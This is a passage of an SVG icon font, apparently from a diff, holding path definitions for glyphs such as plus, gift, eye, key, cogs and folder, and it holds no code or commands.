12h84v84c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-124zM160 -20c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v84h-84c-6.59961 0 -12 5.40039 -12 12v40 +c0 6.59961 5.40039 12 12 12h124c13.2998 0 24 -10.7002 24 -24v-124zM352 -20c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v124c0 13.2998 10.7002 24 24 24h124c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-84v-84z" /> + <glyph glyph-name="plus" unicode="" horiz-adv-x="448" +d="M416 240c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32h-144v-144c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v144h-144c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h144v144 +c0 17.6699 14.3301 32 32 32h32c17.6699 0 32 -14.3301 32 -32v-144h144z" /> + <glyph glyph-name="minus" unicode="" horiz-adv-x="448" +d="M416 240c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32h-384c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h384z" /> + <glyph glyph-name="asterisk" unicode="" +d="M478.21 113.907c11.7949 -6.47754 15.96 -21.3828 9.23242 -33.0361l-19.4805 -33.7412c-6.72754 -11.6533 -21.7207 -15.499 -33.2266 -8.52246l-138.735 84.1104l3.47559 -162.204c0.288086 -13.4531 -10.5391 -24.5137 -23.9941 -24.5137h-38.9619 +c-13.4551 0 -24.2822 11.0605 -23.9941 24.5137l3.47461 162.204l-138.735 -84.1113c-11.5059 -6.97656 -26.499 -3.13086 -33.2266 8.52246l-19.4805 33.7412c-6.72852 11.6533 -2.5625 26.5596 9.23242 33.0371l142.21 78.0928l-142.209 78.0918 +c-11.7949 6.47754 -15.9609 21.3838 -9.2334 33.0371l19.4805 33.7412c6.72754 11.6533 21.7207 15.499 33.2266 8.52246l138.735 -84.1104l-3.47363 162.204c-0.289062 13.4531 10.5381 24.5137 23.9932 24.5137h38.9609c13.4561 0 24.2822 -11.0605 23.9941 -24.5137 +l-3.47461 -162.204l138.735 84.1113c11.5068 6.97656 26.499 3.13086 33.2266 -8.52246l19.4805 -33.7412c6.72852 -11.6533 2.5625 -26.5596 -9.23242 -33.0371l-142.21 -78.0928z" /> + <glyph glyph-name="exclamation-circle" unicode="" +d="M504 192c0 -136.997 -111.043 -248 -248 -248s-248 111.003 -248 248c0 136.917 111.043 248 248 248s248 -111.083 248 -248zM256 142c-25.4053 0 -46 -20.5947 -46 -46s20.5947 -46 46 -46s46 20.5947 46 46s-20.5947 46 -46 46zM212.327 307.346l7.41797 -136 +c0.34668 -6.36328 5.6084 -11.3457 11.9814 -11.3457h48.5469c6.37305 0 11.6348 4.98242 11.9814 11.3457l7.41797 136c0.375 6.87402 -5.09766 12.6543 -11.9814 12.6543h-63.3838c-6.88379 0 -12.3555 -5.78027 -11.9805 -12.6543z" /> + <glyph glyph-name="gift" unicode="" +d="M32 0v128h192v-160h-160c-17.7002 0 -32 14.2998 -32 32zM288 -32v160h192v-128c0 -17.7002 -14.2998 -32 -32 -32h-160zM480 288c17.7002 0 32 -14.2998 32 -32v-80c0 -8.7998 -7.2002 -16 -16 -16h-480c-8.7998 0 -16 7.2002 -16 16v80c0 17.7002 14.2998 32 32 32 +h44.0996c-6.2998 12.0996 -10.0996 25.5 -10.0996 40c0 48.5 39.5 88 88 88c41.5996 0 68.5 -21.2998 103 -68.2998c34.5 47 61.4004 68.2998 103 68.2998c48.5 0 88 -39.5 88 -88c0 -14.5 -3.90039 -27.9004 -10.0996 -40h42.0996zM153.9 288h86.0996 +c-51.5 76.7002 -66.2002 80 -86.0996 80c-22.1006 0 -40 -17.9004 -40 -40s17.8994 -40 40 -40zM360 288c22.0996 0 40 17.9004 40 40s-17.9004 40 -40 40c-20.4004 0 -34.7002 -3.5 -86.0996 -80h86.0996z" /> + <glyph glyph-name="leaf" unicode="" horiz-adv-x="576" +d="M546.2 438.3c19 -42.3994 29.7998 -94.3994 29.7998 -144.6c0 -172.4 -110.5 -313.2 -267.5 -324.601c-80.9004 -8.59961 -142.5 33.3008 -174.9 77.2002c-51 -42.7002 -70.3994 -87 -71.8994 -90.5996c-6.7998 -16.2002 -25.4004 -24.1006 -41.7998 -17.2998 +c-16.3008 6.69922 -24.1006 25.2998 -17.5 41.5996c23.5996 57.9004 130.199 212 381.6 212c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16c-130.6 0 -222.7 -38.7998 -286.5 -84.5c-0.700195 6.7998 -1.5 13.5 -1.5 20.5c0 106 86 192 192 192h80 +c63.4004 0 118.9 33.5996 149.9 87.5c6.69922 11.7998 22.6992 11.2998 28.2998 -1.2002z" /> + <glyph glyph-name="fire" unicode="" horiz-adv-x="384" +d="M216 424.14c0 -103.14 168 -125.85 168 -296.14c0 -105.87 -86.1299 -192 -192 -192s-192 86.1299 -192 192c0 58.6699 27.7998 106.84 54.5703 134.96c14.96 15.7305 41.4297 5.2002 41.4297 -16.5v-85.5098c0 -35.1699 27.9805 -64.4902 63.1504 -64.9404 +c35.7393 -0.469727 64.8496 28.3604 64.8496 63.9902c0 88 -176 96.1504 -52.1504 277.18c13.5 19.7305 44.1504 10.7607 44.1504 -13.04z" /> + <glyph glyph-name="eye" unicode="" horiz-adv-x="576" +d="M572.52 206.6c2.21387 -4.37793 3.46094 -9.38965 3.46094 -14.626c0 -5.2373 -1.24707 -10.1855 -3.46094 -14.5635c-54.1992 -105.771 -161.59 -177.41 -284.52 -177.41s-230.29 71.5898 -284.52 177.4c-2.21387 4.37793 -3.46094 9.38965 -3.46094 14.626 +c0 5.2373 1.24707 10.1855 3.46094 14.5635c54.1992 105.771 161.59 177.41 284.52 177.41s230.29 -71.5898 284.52 -177.4zM288 48c0.0234375 0 0.0458984 -0.000976562 0.0703125 -0.000976562c79.4365 0 143.93 64.4922 143.93 143.93v0.0712891 +c0 79.4756 -64.5244 144 -144 144s-144 -64.5244 -144 -144s64.5244 -144 144 -144zM288 288c0.0761719 0 0.160156 -0.0273438 0.237305 -0.0273438c52.8623 0 95.7803 -42.917 95.7803 -95.7793s-42.918 -95.7803 -95.7803 -95.7803s-95.7803 42.918 -95.7803 95.7803 +c0 8.68945 1.16016 17.1104 3.33301 25.1162c7.93164 -5.83594 17.7432 -9.26758 28.3359 -9.26758c26.4092 0 47.8496 21.4404 47.8496 47.8496c0 10.5938 -3.44922 20.3867 -9.28516 28.3184c8.0459 2.34277 16.541 3.66797 25.3096 3.79004z" /> + <glyph glyph-name="eye-slash" unicode="" horiz-adv-x="640" +d="M320 48c8.91309 0.0830078 17.542 0.976562 26 2.61035l51.8896 -40.1504c-25.0195 -6.45996 -50.9795 -10.46 -77.8896 -10.46c-122.93 0 -230.29 71.5898 -284.52 177.4c-2.21387 4.37793 -3.46094 9.38965 -3.46094 14.626c0 5.2373 1.24707 10.1855 3.46094 14.5635 +c10.2393 20 22.9297 38.29 36.7197 55.5898l104.899 -81.0693c5.65039 -74.4004 67.0508 -133.11 142.9 -133.11zM633.82 -10.0996c3.76855 -2.92871 6.17676 -7.50977 6.17676 -12.6475c0 -3.69238 -1.25293 -7.09375 -3.35742 -9.80273l-19.6396 -25.2705 +c-2.92871 -3.76855 -7.50879 -6.17578 -12.6465 -6.17578c-3.69727 0 -7.10254 1.25684 -9.81348 3.36621l-588.36 454.729c-3.76562 2.92871 -6.1709 7.50781 -6.1709 12.6426c0 3.69434 1.25488 7.09863 3.36133 9.80762l19.6299 25.2705 +c2.92871 3.76855 7.50879 6.17578 12.6465 6.17578c3.69727 0 7.10254 -1.25684 9.81348 -3.36621l127.22 -98.3301c43.6846 23.8564 94.0967 37.6357 147.32 37.7002c122.93 0 230.29 -71.5898 284.52 -177.4c2.21387 -4.37793 3.46094 -9.38965 3.46094 -14.626 +c0 -5.2373 -1.24707 -10.1855 -3.46094 -14.5635c-20.2109 -39.3887 -47.6904 -73.7881 -81.25 -102.07zM450.1 131.9c8.61035 18.3203 13.9004 38.4697 13.9004 60.0996c0 0.0273438 0.00195312 0.0527344 0.00195312 0.0800781c0 79.4316 -64.4883 143.92 -143.92 143.92 +h-0.0820312c-34.6328 -0.0253906 -66.4756 -12.4902 -91.1504 -33.1104l73.6104 -56.8896c0.857422 3.20508 1.38867 6.5625 1.54004 10c-0.0185547 10.5391 -3.49023 20.3242 -9.30957 28.21c8.43164 2.46191 17.3359 3.82031 26.5576 3.82031 +c52.2998 0 94.7607 -42.46 94.7607 -94.7598c0 -0.423828 -0.00292969 -0.847656 -0.00878906 -1.27051c-0.138672 -10.377 -1.97559 -20.4014 -5.2002 -29.7197z" /> + <glyph glyph-name="exclamation-triangle" unicode="" horiz-adv-x="576" +d="M569.517 7.9873c18.458 -31.9941 -4.71094 -71.9873 -41.5762 -71.9873h-479.887c-36.9365 0 -59.999 40.0547 -41.5771 71.9873l239.946 416.027c18.4668 32.0098 64.7197 31.9512 83.1543 0zM288 94c-25.4053 0 -46 -20.5947 -46 -46s20.5947 -46 46 -46 +s46 20.5947 46 46s-20.5947 46 -46 46zM244.327 259.346l7.41797 -136c0.34668 -6.36328 5.6084 -11.3457 11.9814 -11.3457h48.5469c6.37305 0 11.6348 4.98242 11.9814 11.3457l7.41797 136c0.375 6.87402 -5.09766 12.6543 -11.9814 12.6543h-63.3838 +c-6.88379 0 -12.3555 -5.78027 -11.9805 -12.6543z" /> + <glyph glyph-name="plane" unicode="" horiz-adv-x="576" +d="M480 256c35.3496 0 96 -28.6504 96 -64s-60.6504 -64 -96 -64h-114.29l-105.11 -183.94c-2.84961 -4.97949 -8.14941 -8.05957 -13.8896 -8.05957h-65.5c-10.6299 0 -18.2998 10.1797 -15.3799 20.4004l49.0303 171.6h-102.86l-43.2002 -57.5996 +c-3.01953 -4.03027 -7.75977 -6.40039 -12.7998 -6.40039h-39.9902c-10.4102 0 -18.0498 9.78027 -15.5195 19.8799l31.5098 108.12l-31.5098 108.12c-2.53027 10.0996 5.10938 19.8799 15.5195 19.8799h39.9902c5.03027 0 9.78027 -2.37012 12.7998 -6.40039 +l43.2002 -57.5996h102.86l-49.0303 171.61c-2.91992 10.2197 4.75 20.3896 15.3799 20.3896h65.5c5.95117 0 11.1396 -3.23633 13.9004 -8.05957l105.1 -183.94h114.29z" /> + <glyph glyph-name="calendar-alt" unicode="" horiz-adv-x="448" +d="M0 -16v272h448v-272c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48zM320 180v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12zM320 52v-40 +c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12zM192 180v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-40 +c-6.59961 0 -12 -5.40039 -12 -12zM192 52v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12zM64 180v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40 +c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12zM64 52v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12zM400 384c26.5 0 48 -21.5 48 -48v-48h-448v48 +c0 26.5 21.5 48 48 48h48v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h128v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h48z" /> + <glyph glyph-name="random" unicode="" +d="M504.971 88.9707c9.37305 -9.37305 9.37305 -24.5684 0 -33.9404l-80 -79.9844c-15.0098 -15.0098 -40.9707 -4.49023 -40.9707 16.9707v39.9834h-58.7852c-3.46094 0 -6.58105 1.46484 -8.77246 3.81152l-70.5566 75.5967l53.333 57.1426l52.7812 -56.5508h32v39.9814 +c0 21.4375 25.9434 31.9971 40.9707 16.9707zM12 272c-6.62695 0 -12 5.37305 -12 12v56c0 6.62695 5.37305 12 12 12h110.785c3.46094 0 6.58203 -1.46484 8.77246 -3.81152l70.5566 -75.5967l-53.333 -57.1426l-52.7812 56.5508h-84zM384 272h-32l-220.442 -236.188 +c-2.26953 -2.43066 -5.44629 -3.81152 -8.77246 -3.81152h-110.785c-6.62695 0 -12 5.37305 -12 12v56c0 6.62695 5.37305 12 12 12h84l220.442 236.188c2.19141 2.34668 5.31152 3.81152 8.77246 3.81152h58.7852v39.9814c0 21.4365 25.9434 31.9971 40.9707 16.9697 +l80 -79.9814c9.37305 -9.37207 9.37305 -24.5674 0 -33.9404l-80 -79.9844c-15.0098 -15.0088 -40.9707 -4.48926 -40.9707 16.9707v39.9844z" /> + <glyph glyph-name="comment" unicode="" +d="M256 416c141.4 0 256 -93.0996 256 -208s-114.6 -208 -256 -208c-38.4004 0 -74.7002 7.09961 -107.4 19.4004c-24.5996 -19.6006 -74.2998 -51.4004 -140.6 -51.4004c-3.2002 0 -6 1.7998 -7.2998 4.7998s-0.700195 6.40039 1.5 8.7002 +c0.5 0.5 42.2998 45.4004 54.7998 95.7998c-35.5996 35.7002 -57 81.1006 -57 130.7c0 114.9 114.6 208 256 208z" /> + <glyph glyph-name="magnet" unicode="" +d="M164.07 299.9h-152.07c-6.62305 0 -12 5.37695 -12 12v80c0 19.8682 16.1309 36 36 36h104c19.8691 0 36 -16.1318 36 -36v-80c0 -0.0380859 0.000976562 -0.0751953 0.000976562 -0.112305c0 -6.5625 -5.32812 -11.8906 -11.8906 -11.8906 +c-0.0136719 0 -0.0263672 0.00292969 -0.0400391 0.00292969zM512 311.9c0 -0.00390625 0.00195312 -0.0078125 0.00195312 -0.0107422c0 -6.5625 -5.32715 -11.8906 -11.8896 -11.8906c-0.0380859 0 -0.0751953 0.000976562 -0.112305 0.000976562h-152 +c-6.62305 0 -12 5.37695 -12 12v80c0 19.8691 16.1309 36 36 36h104c19.8691 0 36 -16.1309 36 -36v-80.0996zM348 267.9h151.85c6.62305 0 12.001 -5.37598 12.001 -11.998c0 -0.0341797 0 -0.0683594 -0.000976562 -0.102539 +c-0.199219 -20.2002 -0.599609 -40.3994 0 -53.2002c0 -150.699 -134.42 -246.699 -255 -246.699s-256.75 96 -256.75 246.6c0.600586 13 0.100586 31.9004 0 53.2998v0.100586c0 6.62305 5.37695 12 12 12h151.9c6.62305 0 12 -5.37695 12 -12v-52 +c0 -127.9 160 -128.101 160 0v52c0 6.62305 5.37695 12 12 12z" /> + <glyph glyph-name="chevron-up" unicode="" horiz-adv-x="448" +d="M240.971 317.476l194.344 -194.343c9.37207 -9.37305 9.37207 -24.5684 0 -33.9404l-22.667 -22.667c-9.35742 -9.35742 -24.5225 -9.375 -33.9014 -0.0400391l-154.746 154.02l-154.745 -154.021c-9.37891 -9.33496 -24.5439 -9.31738 -33.9014 0.0400391 +l-22.667 22.667c-9.37207 9.37305 -9.37207 24.5684 0 33.9404l194.344 194.343c9.37207 9.37305 24.5674 9.37305 33.9404 0.000976562z" /> + <glyph glyph-name="chevron-down" unicode="" horiz-adv-x="448" +d="M207.029 66.5244l-194.344 194.344c-9.37207 9.37305 -9.37207 24.5684 0 33.9404l22.667 22.667c9.35742 9.35742 24.5225 9.375 33.9014 0.0400391l154.746 -154.021l154.745 154.021c9.37891 9.33496 24.5439 9.31738 33.9014 -0.0400391l22.667 -22.667 +c9.37207 -9.37305 9.37207 -24.5684 0 -33.9404l-194.343 -194.344c-9.37305 -9.37207 -24.5684 -9.37207 -33.9414 0z" /> + <glyph glyph-name="retweet" unicode="" horiz-adv-x="640" +d="M629.657 104.402l-100.687 -100.687c-9.37305 -9.37207 -24.5674 -9.37207 -33.9404 0l-100.688 100.687c-9.37305 9.37305 -9.37305 24.5684 0 33.9404l10.8232 10.8232c9.56152 9.56152 25.1328 9.33984 34.4189 -0.492188l40.415 -42.792v182.118h-187.549 +c-6.62305 0 -12.626 2.68555 -16.9707 7.0293l-16 16c-15.1191 15.1201 -4.41113 40.9707 16.9707 40.9707h243.549c13.2549 0 24 -10.7451 24 -24v-222.118l40.416 42.792c9.28516 9.83105 24.8564 10.0537 34.4189 0.492188l10.8232 -10.8232 +c9.37207 -9.37207 9.37207 -24.5684 -0.000976562 -33.9404zM364.519 88.9707l16.001 -16c15.1191 -15.1201 4.41113 -40.9707 -16.9707 -40.9707h-243.549c-13.2549 0 -24 10.7451 -24 24v222.119l-40.416 -42.793c-9.28613 -9.83105 -24.8574 -10.0527 -34.4189 -0.491211 +l-10.8223 10.8223c-9.37305 9.37207 -9.37305 24.5674 0 33.9404l100.688 100.687c9.37207 9.37305 24.5674 9.37305 33.9404 0l100.687 -100.686c9.37305 -9.37207 9.37305 -24.5674 0 -33.9404l-10.8223 -10.8223c-9.5625 -9.5625 -25.1328 -9.33984 -34.4189 0.491211 +l-40.416 42.792v-182.119h187.548c6.62305 0 12.627 -2.68457 16.9707 -7.0293z" /> + <glyph glyph-name="shopping-cart" unicode="" horiz-adv-x="576" +d="M528.12 146.681c-2.4834 -10.9268 -12.1973 -18.6807 -23.4033 -18.6807h-293.145l6.54492 -32h268.418c15.4004 0 26.8154 -14.3008 23.4033 -29.3193l-5.51758 -24.2754c18.6914 -9.07324 31.5791 -28.2334 31.5791 -50.4053c0 -30.9277 -25.0723 -56 -56 -56 +s-56 25.0723 -56 56c0 15.6738 6.44727 29.835 16.8232 40h-209.647c10.377 -10.165 16.8242 -24.3262 16.8242 -40c0 -30.9277 -25.0723 -56 -56 -56s-56 25.0723 -56 56c0 20.7783 11.3252 38.9004 28.1309 48.5654l-70.248 343.435h-69.8828 +c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h102.529c11.4004 0 21.2285 -8.02148 23.5127 -19.1904l9.16602 -44.8096h392.782c15.4004 0 26.8154 -14.3008 23.4023 -29.3193z" /> + <glyph glyph-name="folder" unicode="" +d="M464 320c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h160l64 -64h192z" /> + <glyph glyph-name="folder-open" unicode="" horiz-adv-x="576" +d="M572.694 155.907l-72.4248 -124.155c-11.0967 -19.0244 -31.6865 -31.752 -55.2803 -31.752h-399.964c-18.5234 0 -30.0645 20.0928 -20.7314 36.0928l72.4238 124.155c11.0986 19.0244 31.6875 31.752 55.2822 31.752h399.964 +c18.5234 0 30.0645 -20.0928 20.7305 -36.0928zM152 224c-34.0107 0 -65.7861 -18.25 -82.9229 -47.6279l-69.0771 -118.418v278.046c0 26.5098 21.4902 48 48 48h160l64 -64h160c26.5098 0 48 -21.4902 48 -48v-48h-328z" /> + <glyph glyph-name="chart-bar" unicode="" +d="M332.8 128c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v134.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h38.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-134.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-38.4004zM428.8 128 +c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v230.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h38.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-230.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-38.4004zM140.8 128 +c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v70.4004c0 6.39941 6.40039 12.7998 12.7998 12.7998h38.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-70.4004c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-38.4004zM236.8 128 +c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v198.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h38.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-198.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-38.4004zM496 64c8.83984 0 16 -7.16016 16 -16v-32 +c0 -8.83984 -7.16016 -16 -16 -16h-464c-17.6699 0 -32 14.3301 -32 32v336c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-304h432z" /> + <glyph glyph-name="camera-retro" unicode="" +d="M48 416h416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48zM48 384c-8.7998 0 -16 -7.2002 -16 -16v-10c0 -3.2998 2.7002 -6 6 -6h116c3.2998 0 6 2.7002 6 6v20c0 3.2998 -2.7002 6 -6 6h-106z +M474 288c3.2998 0 6 2.7002 6 6v74c0 8.7998 -7.2002 16 -16 16h-252.8c-2 0 -3.90039 -1 -5 -2.7002l-30.2002 -45.2998h-138c-3.2998 0 -6 -2.7002 -6 -6v-36c0 -3.2998 2.7002 -6 6 -6h436zM256 24c66.2002 0 120 53.7998 120 120s-53.7998 120 -120 120 +s-120 -53.7998 -120 -120s53.7998 -120 120 -120zM256 232c48.5 0 88 -39.5 88 -88s-39.5 -88 -88 -88s-88 39.5 -88 88s39.5 88 88 88zM208 128c8.7998 0 16 7.2002 16 16c0 17.5996 14.4004 32 32 32c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16 +c-35.2998 0 -64 -28.7002 -64 -64c0 -8.7998 7.2002 -16 16 -16z" /> + <glyph glyph-name="key" unicode="" +d="M512 271.999c0 -97.2021 -78.7979 -175.999 -176 -175.999c-11.2197 0 -22.1904 1.06152 -32.8271 3.06934l-24.0117 -27.0146c-4.39746 -4.94727 -10.8047 -8.05469 -17.9385 -8.05469h-37.2227v-40c0 -13.2549 -10.7451 -24 -24 -24h-40v-40 +c0 -13.2549 -10.7451 -24 -24 -24h-112c-13.2549 0 -24 10.7451 -24 24v78.0586c0 6.36523 2.5293 12.4707 7.0293 16.9717l161.802 161.802c-5.72266 17.3535 -8.83105 35.8965 -8.83105 55.168c0 97.2021 78.7969 175.999 175.999 176 +c97.4893 0.000976562 176.001 -78.5107 176.001 -176.001zM336 320c0 -26.5098 21.4902 -48 48 -48s48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48z" /> + <glyph glyph-name="cogs" unicode="" horiz-adv-x="640" +d="M512.1 257l-8.19922 -14.2998c-3 -5.2998 -9.40039 -7.5 -15.1006 -5.40039c-11.7998 4.40039 -22.5996 10.7002 -32.0996 18.6006c-4.60059 3.7998 -5.7998 10.5 -2.7998 15.6992l8.19922 14.3008c-6.89941 8 -12.2998 17.2998 -15.8994 27.3994h-16.5 +c-6 0 -11.2002 4.2998 -12.2002 10.2998c-2 12 -2.09961 24.6006 0 37.1006c1 6 6.2002 10.3994 12.2002 10.3994h16.5c3.59961 10.1006 9 19.4004 15.8994 27.4004l-8.19922 14.2998c-3 5.2002 -1.90039 11.9004 2.7998 15.7002 +c9.5 7.90039 20.3994 14.2002 32.0996 18.5996c5.7002 2.10059 12.1006 -0.0996094 15.1006 -5.39941l8.19922 -14.2998c10.5 1.89941 21.2002 1.89941 31.7002 0l8.2002 14.2998c3 5.2998 9.40039 7.5 15.0996 5.39941c11.8008 -4.39941 22.6006 -10.6992 32.1006 -18.5996 +c4.59961 -3.7998 5.7998 -10.5 2.7998 -15.7002l-8.2002 -14.2998c6.90039 -8 12.2998 -17.2998 15.9004 -27.4004h16.5c6 0 11.2002 -4.2998 12.2002 -10.2998c2 -12 2.09961 -24.5996 0 -37.0996c-1 -6 -6.2002 -10.4004 -12.2002 -10.4004h-16.5 +c-3.60059 -10.0996 -9 -19.3994 -15.9004 -27.3994l8.2002 -14.3008c3 -5.19922 1.90039 -11.8994 -2.7998 -15.6992c-9.5 -7.90039 -20.4004 -14.2002 -32.1006 -18.6006c-5.69922 -2.09961 -12.0996 0.100586 -15.0996 5.40039l-8.2002 14.2998 +c-10.3994 -1.90039 -21.2002 -1.90039 -31.7002 0zM501.6 315.8c38.5 -29.5996 82.4004 14.2998 52.8008 52.7998c-38.5 29.7002 -82.4004 -14.2998 -52.8008 -52.7998zM386.3 161.9l33.7002 -16.8008c10.0996 -5.7998 14.5 -18.0996 10.5 -29.0996 +c-8.90039 -24.2002 -26.4004 -46.4004 -42.5996 -65.7998c-7.40039 -8.90039 -20.2002 -11.1006 -30.3008 -5.2998l-29.0996 16.7998c-16 -13.7002 -34.5996 -24.6006 -54.9004 -31.7002v-33.5996c0 -11.6006 -8.2998 -21.6006 -19.6992 -23.6006 +c-24.6006 -4.2002 -50.4004 -4.39941 -75.9004 0c-11.5 2 -20 11.9004 -20 23.6006v33.5996c-20.2998 7.2002 -38.9004 18 -54.9004 31.7002l-29.0996 -16.7002c-10 -5.7998 -22.9004 -3.59961 -30.2998 5.2998c-16.2002 19.4004 -33.2998 41.6006 -42.2002 65.7002 +c-4 10.9004 0.400391 23.2002 10.5 29.0996l33.2998 16.8008c-3.89941 20.8994 -3.89941 42.3994 0 63.3994l-33.2998 16.9004c-10.0996 5.7998 -14.5996 18.0996 -10.5 29c8.90039 24.2002 26 46.3994 42.2002 65.7998c7.39941 8.90039 20.2002 11.0996 30.2998 5.2998 +l29.0996 -16.7998c16 13.7002 34.6006 24.5996 54.9004 31.7002v33.7002c0 11.5 8.2002 21.5 19.5996 23.5c24.6006 4.19922 50.5 4.39941 76 0.0996094c11.5 -2 20 -11.9004 20 -23.5996v-33.6006c20.3008 -7.2002 38.9004 -18 54.9004 -31.7002l29.0996 16.8008 +c10 5.7998 22.9004 3.59961 30.3008 -5.30078c16.1992 -19.3994 33.1992 -41.5996 42.0996 -65.7998c4 -10.8994 0.0996094 -23.2002 -10 -29.0996l-33.7002 -16.7998c3.90039 -21 3.90039 -42.5 0 -63.5zM268.7 140.8c59.2002 77 -28.7002 164.9 -105.7 105.7 +c-59.2002 -77 28.7002 -164.9 105.7 -105.7zM512.1 -41.9004l-8.19922 -14.2998c-3 -5.2998 -9.40039 -7.5 -15.1006 -5.39941c-11.7998 4.39941 -22.5996 10.6992 -32.0996 18.5996c-4.60059 3.7998 -5.7998 10.5 -2.7998 15.7002l8.19922 14.2998 +c-6.89941 8 -12.2998 17.2998 -15.8994 27.4004h-16.5c-6 0 -11.2002 4.2998 -12.2002 10.2998c-2 12 -2.09961 24.5996 0 37.0996c1 6 6.2002 10.4004 12.2002 10.4004h16.5c3.59961 10.0996 9 19.3994 15.8994 27.3994l-8.19922 14.3008 +c-3 5.19922 -1.90039 11.8994 2.7998 15.6992c9.5 7.90039 20.3994 14.2002 32.0996 18.6006c5.7002 2.09961 12.1006 -0.100586 15.1006 -5.40039l8.19922 -14.2998c10.5 1.90039 21.2002 1.90039 31.7002 0l8.2002 14.2998c3 5.2998 9.40039 7.5 15.0996 5.40039 +c11.8008 -4.40039 22.6006 -10.7002 32.1006 -18.6006c4.59961 -3.7998 5.7998 -10.5 2.7998 -15.6992l-8.2002 -14.3008c6.90039 -8 12.2998 -17.2998 15.9004 -27.3994h16.5c6 0 11.2002 -4.2998 12.2002 -10.2998c2 -12 2.09961 -24.6006 0 -37.1006 +c-1 -6 -6.2002 -10.3994 -12.2002 -10.3994h-16.5c-3.60059 -10.1006 -9 -19.4004 -15.9004 -27.4004l8.2002 -14.2998c3 -5.2002 1.90039 -11.9004 -2.7998 -15.7002c-9.5 -7.90039 -20.4004 -14.2002 -32.1006 -18.5996 +c-5.69922 -2.10059 -12.0996 0.0996094 -15.0996 5.39941l-8.2002 14.2998c-10.3994 -1.89941 -21.2002 -1.89941 -31.7002 0zM501.6 17c38.5 -29.5996 82.4004 14.2998 52.8008 52.7998c-38.5 29.6006 -82.4004 -14.2998 -52.8008 -52.7998z" /> + <glyph glyph-name="comments" unicode="" horiz-adv-x="576" +d="M416 256c0 -88.4004 -93.0996 -160 -208 -160c-41 0 -79.0996 9.2998 -111.3 25c-21.7998 -12.7002 -52.1006 -25 -88.7002 -25c-3.2002 0 -6 1.7998 -7.2998 4.7998s-0.700195 6.40039 1.5 8.7002c0.299805 0.299805 22.3994 24.2998 35.7998 54.5 +c-23.9004 26.0996 -38 57.7002 -38 92c0 88.4004 93.0996 160 208 160s208 -71.5996 208 -160zM538 36c13.4004 -30.2998 35.5 -54.2002 35.7998 -54.5c2.2002 -2.40039 2.7998 -5.7998 1.5 -8.7002c-1.2002 -2.89941 -4.09961 -4.7998 -7.2998 -4.7998 +c-36.5996 0 -66.9004 12.2998 -88.7002 25c-32.2002 -15.7998 -70.2998 -25 -111.3 -25c-86.2002 0 -160.2 40.4004 -191.7 97.9004c10.4004 -1.10059 20.9004 -1.90039 31.7002 -1.90039c132.3 0 240 86.0996 240 192c0 6.7998 -0.400391 13.5 -1.2998 20.0996 +c75.7998 -23.8994 129.3 -81.1992 129.3 -148.1c0 -34.2998 -14.0996 -66 -38 -92z" /> + <glyph glyph-name="star-half" unicode="" horiz-adv-x="576" +d="M288 448v-439.6l-130.7 -68.6006c-23.3994 -12.2998 -50.8994 7.60059 -46.3994 33.7002l25 145.5l-105.7 103c-19 18.5 -8.5 50.7998 17.7002 54.5996l146.1 21.2002l65.2998 132.4c5.90039 11.8994 17.2998 